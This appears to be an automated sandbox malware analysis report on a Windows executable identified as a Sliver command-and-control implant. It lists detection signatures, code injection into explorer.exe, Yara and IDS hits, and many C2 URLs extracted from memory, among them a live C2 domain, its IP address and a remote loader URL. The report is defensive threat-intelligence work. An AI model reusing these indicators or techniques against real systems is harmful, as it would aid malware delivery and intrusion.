Edit tour

Windows Analysis Report
twjMb9cX64.exe

Overview

General Information

Sample name:	twjMb9cX64.exe renamed because original name is a hash value
Original sample name:	d4f3691207d861879644430e973fc4e04b09c7f2ed9ce33d6d2a4361f632ba16.exe
Analysis ID:	1577181
MD5:	c0cb12ec25b885e22e8c57536a88de5f
SHA1:	5c2678ef28ff6b68470f3e9fc99877c70b934653
SHA256:	d4f3691207d861879644430e973fc4e04b09c7f2ed9ce33d6d2a4361f632ba16
Tags:	exekaboum-xyzuser-JAMESWT_MHT
Infos:

Detection

Sliver

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Sliver Implants

AI detected suspicious sample

Allocates memory in foreign processes

Changes memory attributes in foreign processes to executable or writable

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Found direct / indirect Syscall (likely to bypass EDR)

Injects code into the Windows Explorer (explorer.exe)

Modifies the prolog of user mode functions (user mode inline hooks)

Performs DNS queries to domains with low reputation

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

twjMb9cX64.exe (PID: 3172 cmdline: "C:\Users\user\Desktop\twjMb9cX64.exe" MD5: C0CB12EC25B885E22E8C57536A88DE5F)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Sliver	According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.	No Attribution	https://asec.ahnlab.com/en/47088/ https://asec.ahnlab.com/en/55652/ https://asec.ahnlab.com/en/56941/ https://blog.cluster25.duskrise.com/2024/01/30/russian-apt-opposition https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1190af8:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3317296206.000000C000100000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Sliver	Yara detected Sliver Implants	Joe Security
00000004.00000002.3315398464.0000000012FDC000.00000002.10000000.00040000.00000000.sdmp	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x80cd6:$a1: ).RequestResend 0x70383:$a2: ).GetPrivInfo
00000004.00000002.3313596828.0000000011F7C000.00000004.00000001.00020000.00000000.sdmp	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x8135e:$a1: ).RequestResend 0x70a0b:$a2: ).GetPrivInfo
00000000.00000003.2360150668.0000018F7AB39000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654350:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000004.00000000.2339439660.0000000010CD0000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654310:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000004.00000002.3312693021.0000000010CD0000.00000010.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654310:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_Sliver	Yara detected Sliver Implants	Joe Security
Process Memory Space: explorer.exe PID: 1028	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x214971:$a1: ).RequestResend 0x225187:$a1: ).RequestResend 0x353ef7:$a1: ).RequestResend 0x36470d:$a1: ).RequestResend 0x1db437:$a2: ).GetPrivInfo 0x20452e:$a2: ).GetPrivInfo 0x31a9bd:$a2: ).GetPrivInfo 0x343ab4:$a2: ).GetPrivInfo
Click to see the 3 entries

Suricata Signatures

ETPRO MALWARE Sliver HTTP SessionInit Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:46:37.755658+0100	2852653	1	Malware Command and Control Activity Detected	192.168.2.5	49735	51.44.82.197	443	TCP

ETPRO MALWARE Sliver HTTP SessionInit Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:46:38.251413+0100	2852718	1	Malware Command and Control Activity Detected	51.44.82.197	443	192.168.2.5	49735	TCP

HTTP traffic detected: POST /namespaces/oauth/oauth/api/api.html?e_=5y8741670&j=1q5593623 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 2537Accept-Encoding: gzip

Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F783E2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000004.00000000.2329335338.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3301219872.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F783E2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F783E2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F783E2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000004.00000002.3306176398.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000004.00000002.3305169266.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.3305232316.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.3304617981.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000004.00000002.3317296206.000000C000272000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Le=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=SetWindowPosShowWindowTrackMouseEventTrackPopupMenuAcc
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ly=
Source: explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1wglShareListsHTTP/1.1HTTP/1.1User-AgenteAccept-Lz=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://2.5.2.5.29
Source: explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://2.5.2.5.292.5.29.2.5.29.192.2.52.5.2.5.292.5.29.2.5.29.152.2.5user-PC
Source: explorer.exe, 00000004.00000002.3317296206.000000C00017E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://Content-Lengthm=592372t201HTTP/1.1HTTP/1.1eUser-Agenthttp-serverlocal-addrAccept-Lm=Content-
Source: explorer.exe, 00000004.00000002.3317296206.000000C00017E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://GetSecurityInfoImpersonateSelfc=812951331HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-Languag
Source: explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://_=4567r497t21HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C000272000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://_=g661402p671HTTP/1.1HTTP/1.1eUser-AgentAccept-L_=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000003.3095794136.000000000C50F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2336543362.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3310051073.000000000C512000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000004.00000002.3303939695.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3096404072.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2331272535.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000004.00000003.3094400657.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000004.00000002.3303400773.0000000007637000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2331272535.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000004.00000002.3302305073.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2330224552.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F78484000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B89000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3095422777.0000000009B82000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://globalRequestMsgchannelOpenMsgu=297s616001HTTP/1.1channelDataMsgwindowAdjustMsgHTTP/1.1eUser
Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://j=53g331447advapi32.dll1HTTP/1.1HTTP/1.1ecrypt32.dllUser-AgentAccept-Lj=dnsapi.dlliphlpapi.d
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://j=77b3479851HTTP/1.1HTTP/1.1eUser-AgentAccept-Lj=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://k=273625611HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C00021E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://k=56j9656291HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://k=9h67712801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lk=Accept-LanguageAccept-Languageen-US
Source: twjMb9cX64.exe, 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, twjMb9cX64.exe, 00000000.00000003.2324318794.0000018F7646F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kaboum.xyz/artdonjon/loader.bin
Source: explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://kernel32.dll
Source: explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://kernel32.dllwinhttp.dllavx512eravx512pfu=7966a1472avx512vlavx512bwavx512dq
Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://n=8f4189191HTTP/1.1HTTP/1.1eSoft_DottedWhite_SpaceInheritedUser-AgentAccept-Ln=complex64comp
Source: twjMb9cX64.exe, 00000000.00000003.2324880769.0000018F78484000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3306176398.0000000009B89000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.0000000009D42000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000004.00000002.3317296206.000000C00018B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://p=2v1499328SetPriorityClass1HTTP/1.1HTTP/1.1eSetStdHandleSetVolumeLabelWSizeofResourceTermin
Source: explorer.exe, 00000004.00000002.3310051073.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2336543362.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000004.00000002.3317296206.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://s=8x22o523281HTTP/1.1HTTP/1.1eUser-AgentAccept-Ls=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C0002A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/0123456789abcdefx
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/7
Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/West
Source: explorer.exe, 00000004.00000002.3322536354.000000C000586000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/app.min.js?j=77b347985
Source: explorer.exe, 00000004.00000002.3324294221.000000C00060A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/array.js?_=g661402p67
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/array.js?k=27362561
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/array.js?t=s877e48243
Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/channel
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascript/script/javascripts/javascript/app.js?k=56j965629
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?s=8x22o52328
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascripts/jscript/backbone.js?sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C0002AC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/script/javascripts/javascript/app.min.js?k=100708pl054
Source: explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133
Source: explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/script/jscript/jscript/app.js?c=81295133sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001EC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/app.min.js?u=297s61600Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001CC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js
Source: explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447
Source: explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/javascripts/js/backbone.js?j=53g331447Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3322536354.000000C000540000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?
Source: explorer.exe, 00000004.00000002.3322536354.000000C000540000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060
Source: explorer.exe, 00000004.00000002.3322536354.000000C000540000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/js/js/js/jscript/array.js?x=61443060Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3317296206.000000C0002AC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jss
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/jscript/javascripts/javascript/backbone.jssliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascripts/umd/js/javascript/javascript/app.min.js?sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/js/script.js?p=943p34348
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C0002AC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/jscript/javascript/jscript/script/backbone.js?v=84539617
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/script/javascript/array.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C0003C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22
Source: explorer.exe, 00000004.00000002.3317296206.000000C0003C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/js/script/javascript/array.js?y=113v858r22Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C000026000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C000028000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascript/javascript/jscript/backbone.js?z=22417500
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000A0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C00004A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20
Source: explorer.exe, 00000004.00000002.3317296206.000000C00004A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/jscript/javascripts/backbone.js?m=592372t20Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/php/namespaces/db/samples.php?
Source: explorer.exe, 00000004.00000002.3317296206.000000C000020000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/php/namespaces/db/samples.php?Y
Source: explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9
Source: explorer.exe, 00000004.00000002.3317296206.000000C000064000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/php/namespaces/db/samples.php?t=721425e9Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3322536354.000000C000564000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/array.js?x=9718174h0
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C0002AC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?e=27952824
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/javascripts/jscript/javascript/js/app.min.js?sliver.kaboum.xyz
Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?
Source: explorer.exe, 00000004.00000002.3317296206.000000C000152000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328
Source: explorer.exe, 00000004.00000002.3317296206.000000C000152000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/script/umd/jscript/script/umd/app.js?p=2v1499328Mozilla/5.0
Source: explorer.exe, 00000004.00000002.3322536354.000000C000564000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/umd/app.min.js?k=9h6771280
